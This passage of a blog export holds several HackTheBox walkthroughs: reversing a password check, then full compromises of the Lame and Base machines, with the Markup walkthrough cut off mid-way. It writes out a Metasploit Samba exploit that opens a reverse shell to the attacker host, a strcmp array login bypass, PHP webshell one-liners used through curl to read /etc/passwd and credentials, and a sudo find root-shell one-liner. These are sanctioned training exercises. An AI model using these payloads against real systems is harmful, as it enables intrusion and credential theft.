an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. The following information may help to resolve the situation: The following packages have unmet dependencies: wine32:i386 : Depends: libwine:i386 (= 5.0.3-3) but it is not going to be installed Recommends: wine:i386 (= 5.0.3-3) E: Unable to correct problems, you have held broken packages. user@kali:~$ Neither does this approach work. Running the commands separately, however, seems to work.\nuser@kali:~$ sudo dpkg --add-architecture i386 user@kali:~$ sudo apt-get update ... Reading package lists... Done user@kali:~$ Now we must find a way to install the wine32 module. One quick fix we find online is the following:\nuser@kali:~$ sudo apt install -t parrot-backports wine32 ... The following additional packages will be installed: gcc-11-base:i386 glib-networking:i386 gstreamer1.0-plugins-base:i386 ... Scanning application launchers Removing duplicate launchers or broken launchers Launchers are updated user@kali:~$ With everything finally prepared, we run the executable again.\nuser@kali:~$ wine EasyPass.exe wine: could not load kernel32.dll, status c0000135 user@kali:~$ This fails as well. As before, looking up fixes online provides us with the answer.\nuser@kali:~$ mv ../.wine/ ../.wine-old/ user@kali:~$ We try again.\nuser@kali:~$ wine EasyPass.exe wine: created the configuration directory '/home/user/.wine' ... wine: configuration in L\"/home/user/.wine\" has been updated. The program appears to be working, and we are presented with a password field. Trying some default credentials all lead to the same error message: \u0026lsquo;Wrong Password!\u0026rsquo;.\nFigure 4: EasyPass.exe password prompt running in Wine\nStatic Analysis Running the program does not reveal the password. Perhaps understanding how the program actually works will help. We set out to perform some reverse engineering.\nWe fire up Ghidra: Applications \u0026gt; Reverse Engineering \u0026gt; Ghidra; agree to the license conditions, create a new project, and import our executable. This should produce a similar screen:\nFigure 5: Ghidra project window with imported executable\nDouble-clicking our executable opens it in the CodeBrowser. Once opened, we run the automatic analysis that pops up.\nUsing Search \u0026gt; For Strings\u0026hellip; and filtering for \u0026lsquo;Wrong Password!\u0026rsquo; results in only one match. Selecting it (double-click the match) moves us to its place in the source code. From there, we can follow the function reference to the decompiled version.\nFigure 6: Cross-reference to password verification function\nFigure 7: Decompiled password verification logic\nOne way to solve this challenge would be to use static analysis on this source code and reverse engineer the final password from it. Clearly, the uVar10 variable holds the password, and we would have to work from there step by step.\nvoid UndefinedFunction_00454050(uint *param_1,byte *param_2,byte *param_3) { ... undefined uVar10; ... uVar10 = (undefined4 *)(unaff_ESI + 1) == (undefined4 *)0x0; ... if (!in_CF) { ... uVar10 = 1; ... } ... if ((bool)uVar10) { FUN_00427a30((uint *)\u0026#34;Good Job. Congratulations\u0026#34;); } else { FUN_00427a30((uint *)\u0026#34;Wrong Password!\u0026#34;); } ... return; } Dynamic Analysis Such an analysis would be quite a hurdle and require considerable time; therefore, we opt for dynamic analysis instead.\nInstalling OllyDbg happens to be both easy and quick.\nuser@kali:~$ sudo apt install ollydbg ... The following NEW packages will be installed: ollydbg 0 upgraded, 1 newly installed, 0 to remove and 25 not upgraded. ... Scanning application launchers Removing duplicate launchers or broken launchers Launchers are updated user@kali:~$ Running ollydbg EasyPass.exe and\nFigure 8: OllyDbg main interface after loading executable\nchoosing View \u0026gt; Executable modules \u0026gt; EasyPass should change our left-top window.\nFigure 9: Executable modules view in OllyDbg\nWe search for the \u0026lsquo;Wrong Password!\u0026rsquo; string: (Right-click in top-left window) \u0026gt; Search for \u0026gt; All referenced text strings \u0026gt; (Right-click in new window) \u0026gt; Search for text \u0026gt; \u0026lsquo;Wrong Password!\u0026rsquo; \u0026gt; (Right-click on match) \u0026gt; Follow in Disassembler.\nNow that we have found our place in the source code, we set a breakpoint here and run the executable.\nChoosing (Right-click on \u0026lsquo;Wrong Password!\u0026rsquo; match in top-left window) \u0026gt; Breakpoint \u0026gt; Toggle sets the breakpoint. We then start the program by clicking the play button.\nConsidering the breakpoint we just set, the execution will continue only until before the point where \u0026lsquo;Wrong Password!\u0026rsquo; gets displayed. Then it will stop.\nFigure 10: Breakpoint set at password verification routine\nWe start the program and wait until execution halts. Then we examine the bottom-right window, where the data surrounding our test input is displayed. Perhaps the real password is stored nearby.\nThe only other ASCII field besides our test input in the close environment contains the ASCII \u0026quot;\u0026lt;redacted-password\u0026gt;\u0026quot; string.\nFigure 11: Memory view revealing password near test input\nVerification Could this be the password? Running EasyPass.exe with Wine and inputting the found \u0026lt;redacted-password\u0026gt; confirms it. We have our winner!\nFigure 12: Successful password verification\nGiven that this was a challenge box without any instantiated targets, there is little to clean up here. Once we submit the password as HTB{\u0026lt;redacted-password\u0026gt;}, we move on to the next machine.\n","permalink":"https://onebee.blog/blog/htb/beginner-track/find-the-easy-pass/","summary":"HackTheBox | Beginner Track | Find The Easy Pass","title":"Find The Easy Pass"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Beginner Track\nMachine: Lame\nReleased: 14/03/2017 MACHINE SYNOPSIS\nLame is an easy Linux machine, requiring only one exploit to obtain root access. It was the first machine published on Hack The Box and was often the first machine for new users prior to its retirement.\nPreparations There are several methods to connect to the target machine. Throughout this walkthrough, we employ the provided pwnbox.\nOnce connected, we spawn the target machine.\nAdditionally \u0026ndash; even though not required \u0026ndash; we may set a local variable (available only in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we access it by prepending $ to the variable name.\nuser@kali:~$ rhost=\u0026lt;targetbox-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;targetbox-ip\u0026gt; user@kali:~$ We can use the unset command to remove it after we no longer need it.\nuser@kali:~$ unset rhost Information Gathering We start with a quick connectivity check.\nuser@kali:~$ ping -c 4 -n -R $rhost \u003e connection-test.txt user@kali:~$ cat connection-test.txt ... 4 packets transmitted, 4 received, 0% packet loss, time 3005ms ... user@kali:~$ Since our target is already up and running, we proceed with a TCP SYN scan of all ports.\nuser@kali:~$ nmap -Pn -sT -p- -min-rate 5000 -oN nmap-syn-allports-scan $rhost ... PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 139/tcp open netbios-ssn 445/tcp open microsoft-ds ... user@kali:~$ Four ports are reported to be open. We use the default scripts and version scanning to obtain more detailed information about them.\nuser@kali:~$ nmap -Pn -sT -sC -sV -p 21,22,139,445 -oN nmap-syn-version-script-scan $rhost ... PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) ... 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) ... 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: ... | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | Computer name: lame | NetBIOS computer name: | Domain name: hackthebox.gr | FQDN: lame.hackthebox.gr ... user@kali:~$ Several interesting details emerge from this report:\nFTP anonymous login is allowed on port 21; version vsFTPd 2.3.4 SSH version: OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) Potential SMB shares on port 139 (older, running on NetBIOS; same network only) Potential SMB shares on port 445 (newer, running on TCP) OS: probably Ubuntu 8.04.4 LTS (Hardy Heron) Since guest login appears to be enabled, enumerating FTP is a logical starting point.\nuser@kali:~$ ftp $rhost Connected to 10.129.179.224. 220 (vsFTPd 2.3.4) Name (10.129.179.224:root): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp\u003e ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. 226 Directory send OK. ftp\u003e exit 221 Goodbye. user@kali:~$ Unfortunately, the share appears to be empty. Since FTP provided no useful information, we continue our reconnaissance by extensively enumerating the Samba shares.\nuser@kali:~$ nmap -Pn --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-services.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse -p445 $rhost ... PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: | smb-enum-users: | LAME\\backup (RID: 1068) | Full name: backup | Flags: Account disabled, Normal user account ... | LAME\\msfadmin (RID: 3000) | Full name: msfadmin,,, | Flags: Normal user account ... | LAME\\user (RID: 3002) | Full name: just a user,111,, | Flags: Normal user account ... | smb-enum-shares: | account_used: \u0026lt;blank\u0026gt; ... | \\\\10.129.179.224\\IPC$: | Type: STYPE_IPC | Comment: IPC Service (lame server (Samba 3.0.20-Debian)) | Users: 1 | Max Users: \u0026lt;unlimited\u0026gt; | Path: C:\\tmp | Anonymous access: READ/WRITE ... | \\\\10.129.179.224\\tmp: | Type: STYPE_DISKTREE | Comment: oh noes! | Users: 1 | Max Users: \u0026lt;unlimited\u0026gt; | Path: C:\\tmp |_ Anonymous access: READ/WRITE ... user@kali:~$ Only two users appear to be enabled: msfadmin and user. Regarding the shares, the only one we are allowed to access is the tmp share (not counting IPC$, which is usually empty or unimportant).\nA quick online search reveals multiple potential attack vectors:\nPossible default credentials: msfadmin:msfadmin Potential Metasploit exploit: exploit/samba/usermap_script Exploitation We launch the Metasploit Framework console and examine the aforementioned exploit.\nuser@kali:~$ msfconsole -q [msf](Jobs:0 Agents:0) \u003e\u003e use exploit/multi/samba/usermap_script [*] No payload configured, defaulting to cmd/unix/reverse_netcat [msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) \u003e\u003e info ... Name: Samba \"username map script\" Command Execution Module: exploit/multi/samba/usermap_script Platform: Unix Arch: cmd Privileged: Yes License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2007-05-14 ... Description: This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default \"username map script\" configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication! ... [msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) \u003e\u003e Once we verify that the script performs the desired function, we list its configuration settings.\n[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) \u003e\u003e show options Module options (exploit/multi/samba/usermap_script): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://docs.metasploit.com/do cs/using-metasploit/basics/using-metasploit.html RPORT 139 yes The target port (TCP) ... Payload options (cmd/unix/reverse_netcat): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 64.227.43.138 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port ... Exploit target: Id Name -- ---- 0 Automatic ... [msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) \u003e\u003e Two fields require adjustment: rhosts and lhost. The first refers to our target machine ($rhost), the second to our pwnbox (attacker machine).\n[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) \u003e\u003e set rhosts 10.129.179.224 rhosts =\u003e 10.129.179.224 [msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) \u003e\u003e set lhost tun0 lhost =\u003e 10.10.14.2 [msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) \u003e\u003e Since no check support is available for this particular exploit, we simply run it after completing the setup.\n[msf](Jobs:0 Agents:0) exploit(multi/samba/usermap_script) \u003e\u003e run [*] Started reverse TCP handler on 10.10.14.2:4444 [*] Command shell session 1 opened (10.10.14.2:4444 -\u003e 10.129.179.224:51537) at ... The exploit runs successfully and provides us with a root shell on the target.\nwhoami root However, this shell connection is neither stable nor interactive, so we proceed to upgrade it.\nwhich python /usr/bin/python python -c 'import pty; pty.spawn(\"/bin/bash\")' root@lame:/# export TERM=xterm export TERM=xterm root@lame:/# clear clear Post-Exploitation Although echoing is not turned off, the shell is much more functional than before. Exploring the file system reveals both the user and root flags, which we then retrieve.\nroot@lame:/# cd /home/makis/ ... root@lame:/home/makis# ls -hla ... -rw-r--r-- 1 makis makis 33 ... user.txt root@lame:/home/makis# cat user.txt ... \u0026lt;redacted-user-flag\u0026gt; root@lame:/home/makis# cd /root/ ... root@lame:/root# ls -hla ... -rw------- 1 root root 33 ... root.txt ... root@lame:/root# cat root.txt ... \u0026lt;redacted-root-flag\u0026gt; root@lame:/root# We have successfully compromised the target machine. All that remains is to terminate the target box (if it is not terminated automatically) before proceeding to the next challenge.\n","permalink":"https://onebee.blog/blog/htb/beginner-track/lame/","summary":"HackTheBox | Beginner Track | Lame","title":"Lame"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 2\nMachine: Base\nReleased: 16/06/2022 MACHINE SYNOPSIS\nBase is a very easy Linux machine that focuses on exploiting PHP misconfigurations and insecure coding practices. A vulnerable web application with a listable login folder reveals a swap file containing the PHP code for the web-app. A brief analysis of the code reveals a comparison vulnerability in the login function which allows authentication bypass.\nWith authorized access to the web-app, a reverse shell can be uploaded to grant initial access to the host machine. Then, the web application configuration files can be examined to find a plaintext password allowing SSH access to a more privileged user. Finally, privilege escalation can be achieved abusing misconfigured sudo permissions on the find binary.\nPreparations There are several methods to connect to the target machine. The method we will use throughout this walkthrough is the provided pwnbox.\nOnce we have established our connection, we spawn the target machine.\nAdditionally \u0026ndash; even though not required \u0026ndash; we can set a local variable (available only in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we can easily access it by prepending a $ to the variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target's IP address We can use the unset command to remove the variable when it is no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: Which two TCP ports are open on the remote host?\n22,80\nWe begin our reconnaissance phase with a quick connectivity check,\nuser@kali:~$ ping $rhost -c 4 ... 4 packets transmitted, 4 received, 0% packet loss, time 3005ms ... user@kali:~$ Listing 3 - Connection check followed by a standard TCP scan with script and version detection.\nuser@kali:~$ nmap -sC -sV $rhost ... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) ... 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Welcome to Base ... user@kali:~$ Listing 4 - Service scanning and version detection According to the scan results, two TCP ports are open:\nport 22: SSH, version 1:7.6p1-4ubuntu0.7 port 80: Apache web server, version Apache/2.4.29 potential OS: Ubuntu 18.04.6 LTS (Bionic Beaver) Task-2 Question: What is the relative path on the webserver for the login page?\n/login/login.php\nWe continue our active reconnaissance by fingerprinting the hosted webpage.\nuser@kali:~$ whatweb http://$rhost/ http://10.129.95.184/ [200 OK] Apache[2.4.29], Bootstrap, Country[RESERVED][ZZ], Email[info@base.htb], Frame, HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.129.95.184], Lightbox, Script, Title[Welcome to Base] user@kali:~$ Listing 5 - WhatWeb fingerprinting Nothing particularly noteworthy emerges from this scan, so we proceed to examine the website in a browser.\nFigure 1: Base landing page\nWappalyzer identifies the following technologies for our target website:\nFront scripts: Bootstrap Icons + Google Front API Web servers: Apache HTTP Server 2.4.29 Operating systems: Ubuntu Maps: Google Maps JavaScript libraries: Lightbox + AOS + Isotope + Swiper UI frameworks: Bootstrap We note these for now, though some of this information may prove crucial later.\nContinuing our reconnaissance, we proceed with directory enumeration.\nuser@kali:~$ gobuster dir -u http://$rhost/ -w /usr/share/wordlists/dirb/common.txt -q /.hta (Status: 403) [Size: 278] /.htaccess (Status: 403) [Size: 278] /.htpasswd (Status: 403) [Size: 278] /assets (Status: 301) [Size: 315] [--\u003e http://10.129.95.184/assets/] /forms (Status: 301) [Size: 314] [--\u003e http://10.129.95.184/forms/] /index.html (Status: 200) [Size: 39344] /login (Status: 301) [Size: 314] [--\u003e http://10.129.95.184/login/] /server-status (Status: 403) [Size: 278] user@kali:~$ Listing 6 - Gobuster directory enumeration We discover a login directory at /login; let us examine it.\nFigure 2: The /login directory\nInterestingly, we find a swap file called login.php.swp in the /login directory, which we are permitted to access.\nuser@kali:~$ wget http://$rhost/login/login.php.swp ... 'login.php.swp' saved [16384/16384] ... user@kali:~$ Listing 7 - Downloading the login.php.swp file The output is largely unreadable,\nuser@kali:~$ cat login.php.swp 3210#\"! Utp[��������^\\�ad�[����X���oeXin/login.php � � � z y a � ... user@kali:~$ Listing 8 - The unreadable login.php.swp file so we employ the strings command \u0026ndash; like strings login.php.swp \u0026ndash; to extract all printable characters from the file.\nb0VIM 8.0 root base /var/www/html/login/login.php ... } else { } print(\u0026#34;\u0026lt;script\u0026gt;alert(\u0026#39;Wrong Username or Password\u0026#39;)\u0026lt;/script\u0026gt;\u0026#34;); } else { header(\u0026#34;Location: /upload.php\u0026#34;); $_SESSION[\u0026#39;user_id\u0026#39;] = 1; if (strcmp($password, $_POST[\u0026#39;password\u0026#39;]) == 0) { if (strcmp($username, $_POST[\u0026#39;username\u0026#39;]) == 0) { require(\u0026#39;config.php\u0026#39;); ... \u0026lt;script src=\u0026#34;../assets/js/main.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; Listing 9 - Strings output for the login.php.swp file This appears to be a swap file created during editing of the login.php source file.\nTask-3 Question: How many files are present in the /login directory?\n3\nSee Task-2.\nTask-4 Question: What is the file extension of a swap file?\n.swp\nWe downloaded the login.php.swp file during Task-2.\nTask-5 Question: Which PHP function is being used in the backend code to compare the user submitted username and password to the valid username and password?\nstrcmp()\nWe now examine the provided login page.\nFigure 3: Base login page\nUnfortunately, none of the default credentials we attempted proved successful, so we return to the login.php.swp file we discovered in Task-2. It contains a particularly interesting snippet:\n\u0026hellip;\nif (strcmp($password, $_POST[\u0026lsquo;password\u0026rsquo;]) == 0) {\nif (strcmp($username, $_POST[\u0026lsquo;username\u0026rsquo;]) == 0) {\n\u0026hellip;\nListing 10 - Leaked authentication logic from the login.php.swp file While researching the PHP strcmp() function, we encounter something promising:\n\u0026hellip;\nIf == is used in PHP, then there are unexpected cases where the comparison doesn\u0026rsquo;t behave as expected. This is because \u0026ldquo;==\u0026rdquo; only compare values transformed to the same type, if you also want to compare that the type of the compared data is the same you need to use ===.\n\u0026hellip;\nstrcmp()\nIf this function is used for any authentication check (like checking the password) and the user controls one side of the comparison, he can send an empty array instead of a string as the value of the password (https://example.com/login.php/?username=admin\u0026amp;password[]=) and bypass this check:\n\u0026hellip;\nListing 11 - Research results mentioning potential vulnerability This appears to be a viable vulnerability, so we attempt to exploit it. To do so, we must first complete several preparatory steps:\nStart the FoxyProxy Firefox extension to intercept and forward HTTP traffic to Burp. Launch Burp and toggle Intercept on. Send a sample login request from Firefox. Forward the intercepted request from Burp Proxy to Burp Repeater. If we have configured everything correctly, our intercepted request should appear in Burp as follows:\nFigure 4: Intercepted request in Burp\nOnce we modify our login credentials (submitting empty array values for both the username and password),\n\u0026hellip;\nusername[]=\u0026amp;password[]=\n\u0026hellip;\nListing 12 - Sample payload to exploit the aforementioned vulnerability we gain access\nFigure 5: Sending empty arrays in request\nand find ourselves on the Admin File Uploads page.\nFigure 6: Access to the admin file uploads page\nTask-6 Question: In which directory are the uploaded files stored?\n/_uploaded\nLeveraging the Admin File Uploads page we discovered in Task-5 \u0026ndash; and given that the webserver uses PHP on the back-end \u0026ndash; we attempt to upload a simple PHP webshell as a proof of concept.\nWe use the following one-liner we found online:\n\u0026lt;?php system($_GET[‘cmd’]); ?\u0026gt; Listing 13 - One-liner PHP webshell After saving it as webshell.php on our attack box:\nuser@kali:~$ vim webshell.php user@kali:~$ cat webshell.php \u0026lt;?php system($_GET[‘cmd’]); ?\u0026gt; user@kali:~$ Listing 14 - Preparing PHP webshell we upload it via the Admin File Uploads page.\nOur upload appears successful; now we must locate the exact path where it is stored on the webserver.\nUnfortunately, our directory enumeration results from Task-2 prove insufficient, so we repeat the scan using a larger wordlist.\nuser@kali:~$ gobuster dir -u http://$rhost/ -x php -w /usr/share/wordlists/dirb/big.txt -q /.htaccess (Status: 403) [Size: 278] /.htpasswd (Status: 403) [Size: 278] /.htpasswd.php (Status: 403) [Size: 278] /.htaccess.php (Status: 403) [Size: 278] /_uploaded (Status: 301) [Size: 318] [--\u003e http://10.129.95.184/_uploaded/] /assets (Status: 301) [Size: 315] [--\u003e http://10.129.95.184/assets/] /forms (Status: 301) [Size: 314] [--\u003e http://10.129.95.184/forms/] /login (Status: 301) [Size: 314] [--\u003e http://10.129.95.184/login/] /logout.php (Status: 302) [Size: 0] [--\u003e /login.php] /server-status (Status: 403) [Size: 278] /upload.php (Status: 302) [Size: 0] [--\u003e /login/login.php] user@kali:~$ Listing 15 - Searching for our uploaded webshell with Gobuster Bullseye \u0026ndash; /_uploaded is exactly the directory we have been seeking. Let us attempt to access our webshell.\nAccessing http://$rhost/_uploaded/webshell.php?cmd=whoami does not work, so we try a different one-liner:\n\u0026lt;?php system($_REQUEST[\u0026#34;cmd\u0026#34;]); ?\u0026gt; Listing 16 - Another potential one-liner PHP webshell We prepare it,\nuser@kali:~$ vim webshell2.php user@kali:~$ cat webshell2.php \u0026lt;?php echo system($_REQUEST['cmd']);?\u0026gt; user@kali:~$ Listing 17 - Preparing the new webshell upload it, and then access it.\nuser@kali:~$ curl http://$rhost/_uploaded/webshell2.php?cmd=whoami www-data www-data user@kali:~$ Listing 18 - Successful command execution via the uploaded webshell This time it works, and we have established command execution on our target system.\nTask-7 Question: Which user exists on the remote host with a home directory?\njohn\nOne method is to check which users have home directories.\nuser@kali:~$ curl http://$rhost/_uploaded/webshell2.php?cmd=\"ls%20/home/\" john john user@kali:~$ Listing 19 - User enumeration Another, less error-prone method is to examine the /etc/passwd file.\nuser@kali:~$ curl http://$rhost/_uploaded/webshell2.php?cmd=\"cat%20/etc/passwd\" root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ... john:x:1000:1000:John:/home/john:/bin/bash user@kali:~$ Listing 20 - User enumeration by accessing the passwd file Task-8 Question: What is the password for the user present on the system?\nthisisagoodpassword\nOne of the most common locations for finding cleartext credentials is the webserver\u0026rsquo;s installation directory: /var/www/html/. Exploring the file system proves fruitful.\nuser@kali:~$ curl http://$rhost/_uploaded/webshell2.php?cmd=\"ls%20/var/www/html/\" _uploaded assets forms index.html login logout.php upload.php ... user@kali:~$ curl http://$rhost/_uploaded/webshell2.php?cmd=\"ls%20/var/www/html/login/\" config.php login.php login.php.swp ... user@kali:~$ curl http://$rhost/_uploaded/webshell2.php?cmd=\"cat%20/var/www/html/login/config.php\" \u0026lt;?php $username = \"admin\"; $password = \"thisisagoodpassword\";$password = \"thisisagoodpassword\"; user@kali:~$ Listing 21 - Looking for cleartext credentials Since we have obtained a potential username-password pair, we attempt to authenticate against the SSH service. Using the credentials:\nUsername: admin Password: thisisagoodpassword does not work,\nuser@kali:~$ ssh admin@$rhost ... Are you sure you want to continue connecting (yes/no/[fingerprint])? yes ... admin@10.129.95.184's password: Permission denied, please try again. admin@10.129.95.184's password: ... user@kali:~$ Listing 22 - Failed SSH authentication attempt so we try the username we found in Task-7:\nUsername: john Password: thisisagoodpassword. This attempt proves successful.\nuser@kali:~$ ssh john@$rhost john@10.129.95.184's password: Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-151-generic x86_64) ... john@base:~$ Listing 23 - Successful SSH authentication attempt While we are here, we might as well retrieve the user flag.\njohn@base:~$ ll ... -rw-r----- 1 root john 33 ... user.txt john@base:~$ cat user.txt \u0026lt;redacted-flag\u0026gt; john@base:~$ Listing 24 - Acquiring the user flag Task-9 Question: What is the full path to the command that the user john can run as user root on the remote host?\n/usr/bin/find\nWe can list the allowed commands for the invoking user on the current host using the sudo -l command.\njohn@base:~$ sudo -l Matching Defaults entries for john on base: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User john may run the following commands on base: (root : root) /usr/bin/find john@base:~$ Listing 25 - Enumerating the user privileges Task-10 Question: What action can the find command use to execute commands?\nexec\nIdentifying a command that we can run with elevated privileges (as we did in Task-9) represents only the first hurdle. Simply possessing such a command without a means to leverage it for root shell access renders it meaningless.\nWhile researching exploitation possibilities for the find command, we encounter the following one-liner: sudo find . -exec /bin/sh \\; -quit.\nExecuting this command grants us the desired root access. All that remains is to retrieve the root flag.\njohn@base:~$ sudo find . -exec /bin/sh \\; -quit # whoami root # pwd /home/john # cd /root/ # ls root.txt # cat root.txt \u0026lt;redacted-flag\u0026gt; # Listing 26 - Acquiring the root flag Submit The User Flag Question: Submit user flag\n\u0026lt;redacted-flag\u0026gt;\nWe obtained it at the end of Task-8, so it is already in our possession.\nSubmit The Root Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nSimilar to the user flag, the root flag was already acquired during Task-10.\nCongratulations, we have completed the challenge. All that remains is to terminate the target box \u0026ndash; if not terminated automatically \u0026ndash; before proceeding to the next challenge!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-2/base/","summary":"HackTheBox | Starting Point | Tier 2 | Base","title":"Base"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 2\nMachine: Markup\nReleased: 25/10/2021 MACHINE SYNOPSIS\nMarkup is a very easy Windows machine that explores XML External Entity (XXE) vulnerabilities, insecure file permissions and misconfigured scheduled tasks. A vulnerable web application allows for user-supplied XML input to be parsed allowing the retrieval of sensitive files on the host machine, including the user\u0026rsquo;s private SSH key. Privilege escalation can be achieved by identifying and overwriting a scheduled batch script with insecure permissions to execute a reverse shell.\nPreparations There are several methods to connect to the target machine. Throughout this walkthrough, we employ the provided pwnbox.\nOnce connected, we spawn the target machine.\nAdditionally \u0026ndash; even though not required \u0026ndash; we may set a local variable (available only in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we access it by prepending $ to the variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target's IP address We can use the unset command to remove it after we no longer need it.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: What version of Apache is running on the target\u0026rsquo;s port 80?\n2.4.41\nAn effective method to begin the reconnaissance phase is with a quick connectivity check,\nuser@kali:~$ ping $rhost -c 4 ... 4 packets transmitted, 4 received, 0% packet loss, time 3005ms ... user@kali:~$ Listing 3 - Ping sweep to verify target connectivity followed by the standard scan \u0026ndash; version, script, and the top 1000 TCP ports.\nuser@kali:~$ nmap -sC -sV $rhost ... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0) ... 80/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28) ... |_http-title: MegaShopping 443/tcp open ssl/http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28) ... |_http-title: MegaShopping |_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28 ... user@kali:~$ Listing 4 - Nmap service version scan results It appears we have a Windows target with three open ports:\nport 22: SSH port 80: Apache web server port 443: Apache web server Given that the target hosts a website, we check its fingerprint with WhatWeb.\nuser@kali:~$ whatweb http://$rhost/ http://10.129.113.61/ [200 OK] Apache[2.4.41], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28], IP[10.129.113.61], OpenSSL[1.1.1c], PHP[7.2.28], PasswordField[password], PoweredBy[Megacorp], Script, Title[MegaShopping], X-Powered-By[PHP/7.2.28] user@kali:~$whatweb https://$rhost/ https://10.129.113.61/ [200 OK] Apache[2.4.41], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28], IP[10.129.113.61], OpenSSL[1.1.1c], PHP[7.2.28], PasswordField[password], PoweredBy[Megacorp], Script, Title[MegaShopping], X-Powered-By[PHP/7.2.28] user@kali:~$ Listing 5 - WhatWeb fingerprinting on HTTP and HTTPS ports The fingerprint we receive is identical for TCP ports 80 and 443.\nTask-2 Question: What username:password combination logs in successfully?\nadmin:password\nWe now open our browser and examine the hosted website. The site appears to be an online shop.\nFigure 1: Target website login page\nTesting default login credentials for Apache proves successful. We identify the following credentials:\nUsername: admin Password: password We log in using these credentials.\nFigure 2: Successful authentication with default credentials\nTask-3 Question: What is the word at the top of the page that accepts user input?\norder\nExploring the interface, we observe the following:\nThe Contact field appears to be offline and not working. Submitting an Order results in a pop-up window. Figure 3: Popup window for submitting an order\nTask-4 Question: What XML version is used on the target?\n1.0\nPressing Ctrl+U in Firefox allows us to view the page source. Examining the code belonging to http://$rhost/services.php provides the answer.\nFigure 4: XML version in page source\nTask-5 Question: What does the XXE/XEE attack acronym stand for?\nxml external entity\nWe conduct online research. Two excellent resources on the PortSwigger website prove particularly useful:\none introducing XML entities, and the second one describing XXE injections. Task-6 Question: What username can we find on the webpage\u0026rsquo;s HTML code?\ndaniel\nAn HTML comment appears in the page source belonging to the Services page:\n\u0026hellip;\n\u0026lt;!\u0026ndash; Modified by Daniel : UI-Fix-9092\u0026ndash;\u0026gt;\n\u0026hellip;\nListing 6 - Information disclosure within the page source Task-7 Question: What is the file located in the Log-Management folder on the target?\njob.bat\nWe now examine the discovered XXE vulnerability. We accomplish this by:\nFiring up Burp Suite and enabling intercept in the Proxy tab. Enabling the FoxyProxy extension in Firefox to intercept communication and forward it to Burp Suite. Submitting an order with sample data in Firefox with intercept enabled. Sending the intercepted HTTP request to Burp\u0026rsquo;s Repeater. The result appears as follows:\nFigure 5: Intercepted request for a sample order\nBased on our research in Task-5, only one type of XXE attack is relevant for our purposes: exploiting XXE to retrieve files.\nTo test whether our target is vulnerable, we 